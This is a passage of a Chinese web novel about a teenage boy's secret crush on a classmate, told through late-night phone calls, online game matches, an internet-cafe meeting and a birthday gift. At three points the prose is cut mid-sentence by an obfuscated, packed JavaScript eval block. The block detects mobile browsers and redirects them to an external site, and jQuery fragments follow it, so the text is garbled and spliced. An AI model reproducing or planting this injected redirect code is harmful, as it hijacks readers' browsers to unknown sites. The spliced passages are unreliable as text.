褚亭玉还想开口,周君珩已松开了手,后退半步:“我得走了,年后再见。”也不给对方拒绝的机会,他说完就转身快步下了楼。
褚亭玉站在原地,低头看向手心。
是张银行卡,背面还贴了张纸条,上面写着密码。
他面无表情地看了几秒,把卡收进了外套口袋。
回去之后,周君珩的生活被各种安排填满。跟着父亲出席一些必要的场合,陪母亲拜访世交长辈,还有爷爷那边定下的家族聚餐,一圈忙下来几乎抽不出什么自己的时间。偶尔有点空闲,还得参加一些推不掉的圈子聚会,和一群叔伯家的同龄人维持着表面客气。
但就算再忙,他还是会抽空给褚亭玉发消息。
只不过褚亭玉总是回得很晚,常常是他临睡前翻看手机,才收到句简短的回应。
他心里清楚,自己这样天天惦记着另一个男生,很过线。他怕这份心思被看穿,更怕褚亭玉觉得烦,只好控制着联系的频率,不敢发得太勤。
可手不听使唤,总是不自觉地摸出手机看,屏幕亮了又暗,暗了又按亮。与人交谈走神的时候,宴席间无聊的时候,甚至半夜醒来,第一反应就是去摸枕边的手机。
有时他看着自己发出去的长长一段,再对比对方回过来的寥寥几字,连自己都觉得怪。
他不是一个多话的人。
他会忍不住去想,褚亭玉这时候在做什么?是在打工,还是做别的?为什么从来不会主动发条消息?哪怕只是随口问一句他这边怎么样也好。
宴会厅里流光溢彩,衣香鬓影。周君珩坐在角落,心不在焉地晃着杯中深红的液体,目光又一次不受控制地落到腿上的手机。
“盯一晚上手机了,”旁边忽然凑过来一张带笑的脸,“什么天仙消息能让咱们周少这么魂不守舍?”
周君珩侧头,看见宁昭挑着眉打量他。他举起高脚杯抿了一口,喉结微动,淡淡开口:“胡说什么。”
“装,继续装。”宁昭笑嘻嘻地挤到他身边坐下,手肘撞了他一下,“你绝对有问题。”
周君珩没接话,只挑了挑眉,示意他继续说。
宁昭盯着他,脑子里飞快过着这几天的细节。周君珩这家伙,从小就是一副雷打不动的冷淡性子,可这次寒假回来,动不动就对着手机走神,表情有点心不在焉,又隐隐透着点期待和烦躁。
这种状态,他可太熟悉了。
“从我来到现在二十分钟,你看了不下十次手机。以前你可没这毛病。”
见周君珩不吭声,宁昭摸着下巴继续推测:
“谈恋爱了?”
“交女朋友了?”
他眼睛亮起来:“可以啊君哥,铁树总算盼到开花了?”
“没有。”周君珩沉默了会,淡淡否认。
宁昭盯着他看了几秒,脸上的嬉笑慢慢收敛:“总不能是暗恋吧?”
这话他说出来自己都觉得离谱。周君珩打生下来就是顶配,家世、相貌、还有从小蕴养出来的清贵气度,往哪站都是焦点。
他要是对谁上了心,用得着暗恋?
没成想周君珩居然没反驳,只是垂眸看着杯中晃动的酒液。
这沉默,简直比直接承认还吓人。
宁昭笑容僵在脸上,猛地坐直身体:“不是吧?!你来真的?你还真在暗恋谁?!”
周君珩抬眼瞥他,照旧没说话。
“我靠!”宁昭又惊又奇地爆了句粗口,随即又兴奋起来,“谁啊?我认识吗?长什么样?哪个学校的?你们班同学?”
一连串问题砸过来,周君珩却只是拿起手机又看了一眼。
没什么新动静。
他微微蹙眉,那个瞬间宁昭清楚地从他脸上抓着了一丝罕见的失落。
“行了,”周君珩收起手机,语气恢复了平静,“别瞎猜了。”
宁昭哪肯罢休,但看周君珩明显不想多谈,眼珠一转换了策略:“哎,暗恋多没意思,喜欢就追啊。哥们儿别的本事没有,这方面经验管够!要不要传授你几招必杀技?”
他说得胸有成竹,周君珩却只是淡淡地扫他一眼:“你那套还是自己留着用吧。”
话虽如此,但宁昭敏锐地发现,周君珩并没有起身走人的意思,甚至......有点动摇?他立刻顺杆往上爬:“真不用?不是我说,女孩子的心思我可太懂了!”
“你先说说,那姑娘什么类型?高冷范还是可爱挂?”
宁昭说完,果然见周君珩端酒杯的动作顿了一下。
他心里偷着乐,没想到能有指导这位的一天,脸上却一本正经地凑近:“要不,你先说说你那位什么情况?我帮你分析分析,量身定制攻略。”
周君珩沉默片刻,终于低声开口:“他......不太一样。”
宁昭半点没听出不对劲,反而因为得到了初步确认而更加兴奋:“怎么不一样?哎哟,能让您老觉得不一样的,那肯定不是一般人物!快细说!”
周君珩却又没了声,只是无意识地把玩手机。宁昭知道这已经是他愿意透露的极限了,但没直接把话堵死,已经足够说明问题。
“行吧,”宁昭拍拍他肩膀,“反正你需要的时候随时找我。不过说真的,”他笑着摇头,“真没想到你也有今天。”
他心里好奇得抓心挠肝,恨不能立刻把所有叫得上名号的漂亮姑娘都过滤一遍,看看到底哪路神仙能让周君珩这块木头开了窍,还玩起暗恋的戏码。
褚亭玉回到家时,老人已经睡下。他轻手轻脚洗漱完躺到床上,临睡前习惯摸过手机。
几条未读短信,全是周君珩发的。
除了他,也没别人了。
最后一条是几分钟前发来的:【真睡了?】
他按下回复:【正
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259368|176218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
准备。】
短息刚发出去,手机突然在掌心震动起来。
褚亭玉愣了下,有点意外。
放假这些天,这还是周君珩头一回直接打电话过来。
他翻身侧躺,接起,手机贴到耳边。
“喂?”他的声音带着刚躺下的松弛。
电话那头先是传来几声浅浅的呼吸,过了会才响起周君珩的声音,比平时低哑些:“还没睡?”
“嗯。”褚亭玉应了一声,出于某种他自己也说不清的耐心,多问了一句,“有事?”
“......没事。”周君珩那边似乎动了下,背景里有轻微的风声。
周君珩一时也不知该说什么,他今晚喝了点酒,那些被理智按捺下去的想念,这会儿正疯长着,压都压不住。
屋里又湿又冷,褚亭玉露在外面的手很快就冻得有点发僵。他往被子里缩了缩,给手机换了个位置,夹在耳朵和枕头之间。
电话里安静了一会,但这种沉默并不让人尴尬。
“还在下雪吗?”褚亭玉眼睫微阖,想起周君珩短信里提过下雪的事。
“嗯,下得还挺大。院子里积了厚厚一层。”周君珩像是找到了话题,语气稍微活络,“海市应该不会下雪吧?”
“嗯,湿冷。”褚亭玉答得简单,顿了顿,难得地补充了一句,“没暖气,屋里待着还不如外面。”
这话听着像随口的抱怨,电话那头的周君珩心头却泛起细微的心疼。他几乎能想象出褚亭玉在那阴冷潮湿的老房子里缩着手脚的样子。
“那边冬天确实难熬......”他握着手机的指节收了收,终于问出盘桓了许久的话,“你假期都在忙什么?”
褚亭玉清醒了些。这小少爷平时发短信都克制得很,少有的直接。他想了想,如实说:“去网吧了。”
“网吧?”周君珩的语调微微上扬,有些意外,“打工吗?”
“不是。”褚亭玉换了个姿势,“就待着。”
“待着?”周君珩顿了顿,没太明白。
“嗯,有点事。”褚亭玉的回答依旧简洁,没有详细解释。
周君珩轻轻吸了口气,再开口时,语气放松了些:“网吧里是不是暖和些,环境怎么样?”他没去过那种地方,也没什么概念,但知道褚亭玉会去,就忍不住想多问几句。
“还行,就是烟味重。”褚亭玉回了一句,难得带出了点个人情绪。
自己抽烟却还嫌别人烟味大。周君珩想起褚亭玉夹着烟的样子,无声地弯起唇角。他顺着这个话题,又问了些网吧的地址、人多不多,褚亭玉一一接着,竟也有一搭没一搭地跟他聊了下去。
不知不觉,通话时间显示已过了二十多分钟。周君珩心口被酒意和一种难以言喻的满足感烘得发热,听着电话那头平静中偶尔透出倦意的声音,舍不得挂断。
周君珩犹豫了一下,还是问道:“你去网吧是打游戏吗?玩的什么?”
“不怎么玩。”褚亭玉说。
周君珩忽然想起什么:“那你□□号多少?加个好友,可以一起玩。”
他想,如果能有个一起玩的游戏,或者能在网上看到对方亮着的头像,大概也能缓解那种没着没落的惦念。
“□□?”褚亭玉懵了下。这应用听着太遥远了,他上辈子早就不用这东西,“没有。”
周君珩那边沉默了下,过了几秒才低低地说:“申请一个吧。”
褚亭玉下意识想拒绝,觉得麻烦又没必要。
对面的人好似猜透了他的心思。
“很方便的,”周君珩的语气放缓,“明天还去网吧的话,就申请一个,告诉我号码,好吗?”
褚亭玉轻笑了一下,很轻的气音,听得周君珩耳根有点痒。
“行啊。”褚亭玉这次答应得很爽快。
周君珩心满意足,又缠着说了几句无关紧要的话,直到听到褚亭玉那边传来轻微的哈欠声,才恋恋不舍地挂了电话。
23.第 23 章
第二天,褚亭玉还真去申请了一个企鹅号,头像懒得换,就用系统给的那个呆呆的笑脸。
他把号码发给周君珩。
加上好友之后,两人联系就多了起来。褚亭玉回消息还是慢,但总比以前那种拖到半夜才一次性回复要好些。
周君珩游戏天赋不错,操作和意识都很强。他有信心,不管褚亭玉想玩什么游戏,只要有他在,体验感绝对不差。
然而,一连好几天,褚亭玉还是很忙的样子,完全没空找他。
【你在忙什么?】周君珩问他。
褚亭玉回得倒很直接:【赚钱。】
【不是没打工吗?】周君珩发了个疑惑的表情过去。
过了半天才等来一句:【自己找点事做。】
最后也没说具体是什么活。
周君珩看着屏幕上几句干巴巴的对话,手指停在键盘上,最后还是删了准备追问的话。
他向后靠进椅背,揉了揉眉心。快除夕了,到底是什么样的“赚钱”,得整天泡在网吧里?
褚亭玉不想说,他也不想逼问。毕竟,有些事,问多了,就不像是朋友了。
正想着,电脑右下角的企鹅图标就像抽风一样疯狂跳动,“滴滴滴”的提示音急促得像催命。
周君珩点开一看,是宁昭的一长串哀嚎。
【哥!亲哥!您老人家可算在线了!!!】
【上号上号!再不带我,我就要在钻石段位里过大年了!】
【这赛季的队友菜得我怀疑人生,你看看我这战绩,简直惨不忍睹!】
【没空。】周君珩敲了两个字丢过去。
【别啊!】宁昭秒回,【这学期想找你玩一局比登天还难,之前说手伤,现在不早好了吗?今天必须救救孩子!】
【你是不是在外面有别的狗了!都不带我了![痛哭流涕.jpg]】
周君珩有点哭笑不得。宁昭那点段位,十成里有九成是靠他带上去的。这个赛季他没怎么碰游戏,一开始是因为手伤,后来是心思不在上面。没了大腿,宁昭原形毕露,在钻石分段反复横跳,怨气都快冲破屏幕了。
【马上过年了,让我冲一波分过个好年不行吗?】
【来嘛来嘛!我真要被队友气哭了!】宁昭不依不饶,消息一条接着一条。
也许是宁昭的怨念实在太深,又或许是周君珩自己也需要找个方式排解一下烦闷。他盯着宁昭聒噪跳动的头像看了半晌,终于动了动手指。
周君珩:【上线。】
宁昭:【!!!来了来了!爸爸我来了!】
游戏载入,周君珩选了惯用的刺客角色。宁昭则欢天喜地地秒选了一个能混能扛的辅助,一路跟在他屁股后面转悠。
“哥!这边这边!有个落单的脆皮!”
“漂亮!这波操作帅炸了!”
“哇!哥你今天杀气好重!对面射手看到你直接闪现迁坟了哈哈哈哈!”
“消停点。”周君珩情绪不高,嫌他吵。他手速犀利,反野、游走、切后排,打法凶悍得让对面完全招架不住。
宁昭嘿嘿直乐,跟在他身后简直扬眉吐气,刚才的憋屈一扫而空,打得那叫一个舒服。
“哎哟!回来了!回来了!就是这种感觉!”他一边轻松地蹭着助攻和人头,一边在语音里大呼小叫,“看见没!这才叫玩游戏!之前那根本就是渡劫!”
周君珩听着他的嚷嚷,脸上没什么笑意。屏幕上的角色大杀四方,可心里那点莫名的烦躁也没散去。打了几局,段位噌噌往上涨,宁昭笑得合不拢嘴,他却忽然说了句:“不打了。”
“啊?这就下了?”宁昭的声音里满是意犹未尽,“这才刚找到感觉。”
周君珩没解释,直接退了游戏。他点开褚亭玉的聊天框,看到对方状态还亮着。犹豫了一下,他敲过去一句:
【还在忙?】
过了好一会,那边回:
【玩游戏吗?】
周君珩像是被点了一下,腰背立刻直了起来,指尖飞快地敲下:
【玩】
褚亭玉刚登上游戏,“JunH”的组队邀请就弹了出来。
他点了接受。
周君珩看着那个乱码一样的ID和原始头像,莫名觉得有点可爱,像个随手生成的机器人号,却偏偏和真人一样安静地坐在对面。
等了几秒,见他迟迟不点开始,也不说话,褚亭玉在输入框敲下一个字。
【HskFhreug】:开。
褚亭玉其实不怎么玩游戏,但这段时间,他总感觉周君珩每天都在盼着他回消息,还眼巴巴等着他上线一起打游戏。
那种期待,就像小朋友等着大人给糖吃一样。
大概是放假在家太无聊了吧。
游戏很快匹配成功,进入英雄选择界面。
褚亭玉滑动鼠标,浏览着英雄列表。界面带着点古早的味道,技能图标也透着一股年代感。
这时,右侧三楼的气泡弹了出来。
JunH:开听筒。
他顿了一下,伸手抓起耳机,顺手把麦克风也打开。
“能听到吗?”周君珩的声音顺着电流传来,低沉里带着点磁性,不掺半点假的好听。
“能。”褚亭玉应道。
“要玩什么位置?”
“辅助吧。”褚亭玉对自己的操作水平心里有数,人也懒,觉得辅助位最省心。他扫了一眼英雄列表,随手点了一个扛着巨大盾牌的壮汉,“就这个,看着比较能扛。”
周君珩在那头低低笑了一声:“好,那我玩刺客。你跟紧我,帮我挡挡技能。”
说着,他锁定了一个手持双刃、身形敏捷的刺客。这英雄爆发高,但身板脆,非常依赖队友在前排抗住压力,正好和褚亭玉选的盾牌壮汉互补。
“想得美,”褚亭玉刺了一句,“情况不对我肯定第一个跑。”
周君珩又笑了笑,没说什么。
加载界面中,褚亭玉注意到周君珩那个闪着一圈的金边框,随口问:“你段位很高?”
“还行。”周君珩语气轻描淡写,“匹配局,可以随便玩。”
系统给新手匹配的对手普遍偏弱,有时甚至还混着几个人机,两人没费什么劲就推掉了对面的水晶。
这期间,刚结束一局的宁昭看到周君珩又在线,消息发得跟轰炸似的,疯狂求他结束后拉自己一起玩。
周君珩直接无视,转头问褚亭玉:“要不要我换个低段位的小号,一起打排位?”
他担心褚亭玉觉得对手太弱,玩着没意思。
褚亭玉拒绝:“不用,再玩两局就回去了。”
周君珩没再坚持。
第二局开始,没了游戏音效的干扰,周君珩那边“滴滴滴”的声音变得格外清晰,还是连续性地响个不停的那种。
“有事吗?”褚亭玉问,“要不下次再玩?”
“没事。”周君珩语气听不出任何问题,一边顺手点开宁昭那个疯狂刷屏的对话框,设置了屏蔽,“群里瞎聊,不用管。”
这局褚亭玉选了个银发紫衣、手持法杖的女辅助,角色建模精致,原皮就足够亮眼。
褚亭玉很满意。
周君珩跟着锁了一个当前版本强势的射手,正好和这个辅助是公认的黄金搭档。
走到分路的岔口,褚亭玉操控的角色忽然停住。前面的射手也跟着停下脚步。
“怎么了?”周君珩问。
“在看是直接跟你,还是先去中路游走一波。”褚亭玉解释道,“对面下路是情侣ID。”
刚说完,耳机里就响起周君珩斩钉截铁的声音:“跟我。”
褚亭玉哦一声,尾音带笑,操控角色慢腾腾地跟上了射手。
两人刚到线上,所有人频道就飘出来一行字:
【所有人】甜心喵喵:对面下路是双排吗?我们会手下留情的哦~^_^
没人理她。
周君珩专注地补着兵,褚亭玉趁空闲又仔细看了看技能说明。
【甜心喵喵】自说自话了几句,见完全没人搭腔,大概觉得无趣,终于消停了。
对线期正式开始,【甜心喵喵】玩的精灵射手打得很凶,不断利用射程优势骚扰。【守护喵喵】使用的圣光骑士则寸步不离地贴身保护,时不时还亮个表情挑衅。
“啧。”褚亭玉轻哼了一声,觉得这行为很幼稚,也很欠揍。
“往后退点,”周君珩提醒,“对面打野可能绕过来了。”
他话音刚落,敌方的打野果然从河道草丛里窜出,直扑褚亭玉玩的辅助。
【甜心喵喵】得意地打字:【都说了要手下留情的啦~】
好在褚亭玉信任周君珩的判断,撤退得及时,两人默契配合,反手打出了一波漂亮的反击。
最终这波小规模团战以无人伤亡告终。
褚亭玉选择回城补充状态,随后再次回到线上。
他选的辅助技能简单,无非就是套盾、加血和一个控制。他对线细节还有些生疏,打得中规中矩,但走位谨慎,视野也给得相当到位。
周君珩的射手补刀稳健,时不时
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16265848|176218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抓住机会偷点对面进行消耗。
很快,机会来了。周君珩假装走位失误,卖了个破绽,对面射手果然上当前压。褚亭玉几乎在同一时间出手,一个准确的预判控制,将对方定在原地。
“漂亮。”周君珩的声音里带着明显的赞许,手上操作行云流水,一套爆发伤害轻松收下一血。
褚亭玉没说话,只是让屏幕里的银发女子轻盈地原地跳了两下,像是在庆祝,又像是在无声地说“小事一桩”。
周君珩看着那个活泼的身影,愣了两秒才反应过来该去推塔。
对面情侣的火气一下就被点燃了。
公屏开始接连冒字。
【所有人】甜心喵喵:???
【所有人】守护喵喵:对面带妹的还敢这么嚣张?
褚亭玉稳如泰山,全当没看见。
周君珩更是不予理会,只是接下来的对线压迫感骤增,几乎把对面压在塔下出不来。
又被消耗到残血后,对面射手的心态明显崩了。
【所有人】甜心喵喵:这辅助是连体婴?离了男人不会自己玩游戏?
【所有人】守护喵喵:宝贝别气,混子都这样,理解一下。
褚亭玉原本略显懒散的视线慢慢聚焦。
他修长的手指在键盘上敲击。
【所有人】HskFhreug:嗯,至少能抱稳。你那位,好像不太行耶~^_-
周君珩:“......”
他抿住唇,把冲到嘴边的笑声压了回去。
有些人,越是搭理就是越来劲。
【所有人】甜心喵喵:一个用原皮的辅助,对方连个情侣ID都不肯跟你绑,别是路上随便看见个打得好的男的,就上赶着倒贴吧?
【所有人】守护喵喵:就是,贱不贱啊?
“哇哦,”褚亭玉语气平淡地评价,“这些人只有这点想象力?一言不合就直奔下三路?”
他没再回嘴,懒得跟他们纠缠。
周君珩皱起眉,操作愈发凌厉。接下来的几波团战,他一个射手愣是打出了刺客的架势,每一次都专挑后排,无视其他所有人,将所有火力全倾泻在“甜心喵喵”身上,一次次将其秒杀。
击杀提示接连在屏幕上刷屏。
又一次干脆利落的双杀之后。
【所有人】JunH:话多解决不了你操作烂。
褚亭玉笑出声:“有点装了,周少。”过了会,又真心夸道,“不过,蛮帅的。”
【所有人】甜心喵喵:**的!针对你爹有意思?
【所有人】守护喵喵:狗男女!真不要脸!
褚亭玉看到这句,又笑了起来,带着气声的轻笑裹着细微电流,擦过周君珩的耳膜:“这说得不对吧,应该是狗男男。”
周君珩操作的手指猛地一滞,屏幕上的英雄一个走位失误,险些被防御塔的攻击击中。他喉结滚了滚,声音有些发紧:“......别理他们。”
“好,不理。”褚亭玉语气有点冷,“但你得让这两人彻底闭嘴。”
接下来的对局,彻底成了单方面的狩猎游戏。
周君珩压根不再管什么推塔,只专心追杀对面的情侣二人组。他们只要敢走出泉水一步,甚至只是在视野边缘露个头,再出现就是黑屏。
从最初的叫骂,到后来的无能狂怒,最后两人彻底偃旗息鼓,麻木地站在泉水最深处,连复活了都懒得再动。
褚亭玉乐得清闲,操控着自己的银发辅助,偶尔给周君珩套个盾,加口血,像个旁观者,静静地看着他一个人杀穿全场。
直到超级兵涌上高地,水晶血量一寸寸往下掉。
一直沉默的周君珩忽然开口,电流将他低沉微磁的声音擦得略微发烫,是专门说给耳机另一端的人听的:
“听见了吗?”
“世界安静了。”
话音落下的那一刻,敌方水晶应声炸裂,胜利的标志铺满整个屏幕。
耳机里短暂地只剩下游戏结束的音乐。
几秒之后,褚亭玉的声音才慢悠悠地传来。语气里含着一丝很淡的东西,像是调侃,又像是藏着点别的什么:
“嗯,听见了。”
“干得漂亮啊,周同学。”
世界是安静了。
可周君珩自己的心跳,却轰隆隆地敲个不停。他能感觉到血液涌上耳根的热度,幸好,隔着网路,对方什么也看不见。
他们又开了一局。
这一局结束得很快。
推掉水晶之后,褚亭玉就下线了。
24.第 24 章
周君珩走之前担心会有人来找麻烦,但直到年后也没有发生。连陈丽华也再没出现过。
除了过年那几天,褚亭玉依旧雷打不动地泡在网吧。每天下机前和周君珩打几局游戏,似乎成了两人之间一个心照不宣的习惯。
这天,他敲完最后一段,保存文档,关闭软件。屏幕右下角的时间,比平时稍晚了一点。
他顿了顿,想起昨晚周君珩确实有问过他今天还来不来。按照往常,这会对方的消息早该弹出来了。
问他忙完了没,要不要开一局。
可今天,聊天框安静得出奇。
褚亭玉挪动鼠标,点开了游戏。
登录上去,好友列表里只有两个名字,都是周君珩的号,段位一高一低,都灰暗着,显示不在线。
他盯着屏幕发了会呆,然后破天荒地自己点开了排位。
就等一局。他想。
这段时间,周君珩一直用小号带他双排,感觉确实不一样。有人带节奏carry全场,输赢都没那么重要,游戏像是被玩成了一种轻松的陪伴。
对局开始,他打得并不顺。对线期刚稳住,自家打野就频频来中路蹭线,经济被分走大半。等到团战期,他装备跟不上,伤害自然不足。屏幕很快弹出“失败”两个大字。
褚亭玉靠在椅子上,看了眼依然灰着的好友列表,心里有点说不出的憋闷。他不服气,又开了一局。
这把他还是走中路。结果历史重演,打野又把中路当自家后院,兵线过来就顺手收掉。褚亭玉的经济一直起不来,队伍很快陷入劣势。
队内频道开始有人抱怨:
【队伍】(边路):中单会不会玩?线都守不住
【队伍】(射手):服了,这输出还没辅助高,别送行不行。
褚亭玉扫了眼左下角队友的抱怨,抿紧嘴唇,没理会。这种憋屈的感觉,在和周君珩双排时从来没有过。对方总会把经济让给他,或者提前带起节奏,让他舒舒服服地打输出,根本不会落到这种被动局面。
他移动鼠标,正要点屏蔽队友,头顶忽然落下一片阴影,带着室外的微凉空气,以及一丝干净又熟悉的气息。
褚亭玉下意识抬头。
周君珩就站在他椅边,微微俯身,一手搭在他的椅背上,目光落在灰暗的游戏界面上。他呼吸还有点急促,像是刚赶了路,声音却放得平稳:
“逆风了?”
褚亭玉望着这个突然出现在网吧里的人,一时怔住,忘了回应。
周君珩就着他抬头的姿势,很自然地从他手里接过鼠标,另一只手同时覆上键盘。这个动作让他几乎将褚亭玉圈在了电脑和自己的胸膛之间,那股干净清冽的气息更近了些。
“我来。”周君珩的声音压得很低,尾音擦过褚亭玉的耳尖,激起一阵细微的战栗。
几乎是条件反射,褚亭玉身体僵了一瞬,随即放松下来,算是默许。他往后靠了靠,本想给周君珩腾出更多的操作空间,却不经意间将后背完全贴上了对方的前胸。
两人俱是一僵。
谁都没动,只静静等着屏幕上游戏的复活倒计时。
周君珩一接手,局势开始肉眼可见地扭转。他操纵的法师不再执着于线上发育,而是精确计算着每一次游走和支援的时机,巧妙地资源置换,原本倾斜的经济差被一点点扳回。
褚亭玉看着他用自己的法师玩出了刺客的效果,抓开团,控制关键人物,收割残血,每一步都像精心算计过。
刚才还骂骂咧咧的队友又开始刷屏:
【队伍】(游走):???中单换人了?
【队伍】(边路):姐姐我错了!刚才是我声音大了点!
【队伍】(打野):这操作这意识……代练上号了吧
【队伍】(射手):嘿嘿,我猜是换了男朋友玩
褚亭玉扫过屏幕上飞速滚动的调侃,看不出什么情绪。周君珩自然也看到了,尤其是那句“换了男朋友玩”,手一抖,差点失误。
他飞快地瞟了褚亭玉一眼,对方神色如常,看不出丝毫反感或抵触,好像根本没往心里去。
周君珩定了定神,重新将注意力拉回游戏,顺势拿下大龙,带队一波推平了对方水晶。
胜利的音效响起,他退出战绩页面,顿时被一连串的好友申请和组队邀请淹没了屏幕。
他想也没想,全部点了拒绝,随后松开鼠标,直起身,那股包围着褚亭玉的温热气息也跟着退开些许。
“还玩吗?”周君珩看着旁边的机箱。
褚亭玉没回答玩还是不玩,他仰起脸,看向站在身侧的人:
“你怎么会在这?”
离开学还有一周多,这时间点,他不应该出现在这里。
周君珩心虚,但他从小就不习惯把情绪摆在脸上,所以面上看不出什么。他沉默了几秒,拿出早备好的理由:“我爸妈工作上有新安排,提前回来了。”
“刚到?”见少年迟疑地点头,褚亭玉眉心微蹙,“不好好休息,跑来网吧做什么?”
网吧的顶灯落在周君珩身上,额前碎发泛着一层浅浅的金绒,睫毛很长,投下浅浅的影子,让那双眼睛显得比平时更加深邃。
他低下头,直视褚亭玉映着光的眼睛。
“来找你。”
想见你。
空气似乎被这句话轻轻拨动。褚亭玉心跳慢了半拍,但很快恢复正常。他盯着眼前的人,目光锐利得几乎能穿透一切,却在触及对方眼中的认真时,不着痕迹地移开视线。
周君珩被他看得不自在,语气故作轻松地找补:“最近上了几部不错的贺岁片,要不要一起去看看?”
褚亭玉重新看了他一眼:“看电影可以,但今天不行。”
周君珩眼里的光芒黯了黯,又很快扬起淡淡的笑容:“那一起吃个饭?就附近。”
褚亭玉看了眼时间,已经快六点了。他想起出门前老人特意嘱咐要回去吃晚饭,轻轻摇头:“改天吧。”
周君珩点了点头,嘴角还挂着笑,但整个人明显蔫了下来。他站在原地,像是还想再说什么,最后只是伸手帮褚亭玉关掉了游戏。
褚亭玉看着他弯腰时突然靠近的侧脸,鬼使神差地开口:“明天可以约。”
周君珩蓦地回头,眼睛亮得像坠入了星子。他生得棱角分明,眉目冷峻,此刻眉眼微弯,笑意干净而克制。光从他侧脸倾泻而下,在肌肤上晕出一层柔润的金色,清冷的气息淡去,整个人宛如被星辉笼罩,耀眼得让人移不开目光。
褚亭玉看着近在咫尺的这张脸,竟有些出神。他从小就知道自己长得极好,见过的赞美与惊艳太多,早对美貌没了感觉。可他却不得不承认,眼前的周君珩,有着一种不同的锋芒与温度,那是一种让人无法忽视的存在感,不是单纯的容貌,而是整个人散发出的光。
两人走出网吧,街上的氛围明显和平时不一样。路灯刚刚亮起,沿街店铺的橱窗玻璃上贴满了心形装饰,随处可见手牵手依偎走过的年轻情侣。
周君珩的目光扫过那些成双成对的身影,喉结微动,又不动声色地侧目看向身旁的人。
褚亭玉的头发又长了些,只用皮筋松松束起上半部分,发尾柔顺地贴在颈侧,宽大的外套衬得他身形更加清瘦。他微微低着头,侧脸的线条精致柔和,除了个子高挑外,从背后看确实容易让人产生误会。
两人并肩走着,身高相仿,步调一致,有种无形的默契。在路人眼里,俨然是一对登对的小情侣。
“哥哥,给喜欢的人买枝花吧!”一个扎着双马尾的小女孩抱着花篮从人群里钻出来,仰着笑脸拦在他们面前。她踮起脚尖,将一枝盛放的红玫瑰举到周君珩面前,“这枝最漂亮,配姐姐正合适!”
周君珩停下脚步,耳根唰地红了。他看看那枝娇艳的玫瑰,又看看褚亭玉,一时有些手足无措。
褚亭玉闻声抬眼,先是疑惑地看了眼小女孩和她手里的花,继而注意到周围随处可见的亲密身影,这才若有所悟。
“今天几号?”
“……十四号。”周君珩有些不自然地回答。
二月十四?情人节。褚亭玉了然。
他弯下腰,平视着小女孩,语气平静地纠正:“我是哥哥,不是姐姐。所以不需要花,谢谢。”
小女孩一愣,眨巴着大眼睛打量他,显然无法接受这么漂亮的人会是男生。“可是,只有姐姐才会这么好看呀。”她歪着头想了想,又机灵地改口,“那姐姐......不对,哥哥,买一朵送给这个哥哥吧!你们长得都好看,特别般配!”在她的小脑袋瓜里,好看的人就应该和好看的人在一起。
褚亭玉几不可察地皱了下眉,觉得这小孩多半是被大人教了话来卖花的。他轻轻摇头,直起身对周君珩示意:“走了。”
周君珩还站在原地,目光追随着褚亭玉的背影,又忍不住瞥了一眼那篮红得灼眼的花。他快步跟上时,听见小女孩在身后委屈地嘟囔:“这个哥哥怎么不喜欢花呀……”
周君珩刻意落后半步,看着褚亭玉被灯光柔化的侧脸轮廓。他手插在口袋里,指尖
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16336198|176218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
反复摩挲着一个小盒子的棱角。
走到停车的地方,褚亭玉长腿一跨坐上了电动车,正要回头问周君珩怎么回去,就见对方先一步递过来一个小盒子。
“褚亭玉,”周君珩很少这样连名带姓地叫他的名字,“生日快乐。”
那是个黑色绒面盒子,不大,但看起来很精致。
褚亭玉垂眼看了看,没接。
“不用。”他语气很淡,“我不过生日。”他说的是实话,自己早过了会在意这些的年纪。
他甚至没问对方是怎么知道今天这个日子的。
周君珩的手悬在半空,指节一点点收紧,迟疑着不肯放下。
“怎么,”他半开玩笑地说,“我不配送你东西?”
褚亭玉看着他,眼神平静:“是没这习惯。”
周君珩沉默地转身,大步走向不远处的垃圾桶。他边走边拆包装,取出里面的东西,将空盒丢了进去。再走回来时,手里只剩下一个银色的MP4。
褚亭玉皱眉看着他这一连串动作:“你什么毛病?”
周君珩没答,按亮屏幕,又从口袋里掏出耳机线插好,一步逼近。褚亭玉本能地向后仰了仰,却因为坐在车上无处可退。微凉的耳机很快就被塞进了他的耳朵。
周君珩一手按住他肩膀,不让他乱动。
“习惯是吧?”他贴得极近,气息烫在褚亭玉耳廓,声音压着恼火,“从今天起,这就是新习惯。”
不等褚亭玉反应,他已经按下播放键,将MP4塞进对方外套口袋。
耳机里旋律缓缓流出,是首安静的纯音乐。
褚亭玉怔了下,忽然轻笑:“…强买强卖?”
周君珩跟着笑:“是强送,不行吗?”
褚亭玉瞥他一眼,突然伸手拽住他胳膊:“上来,送你。”
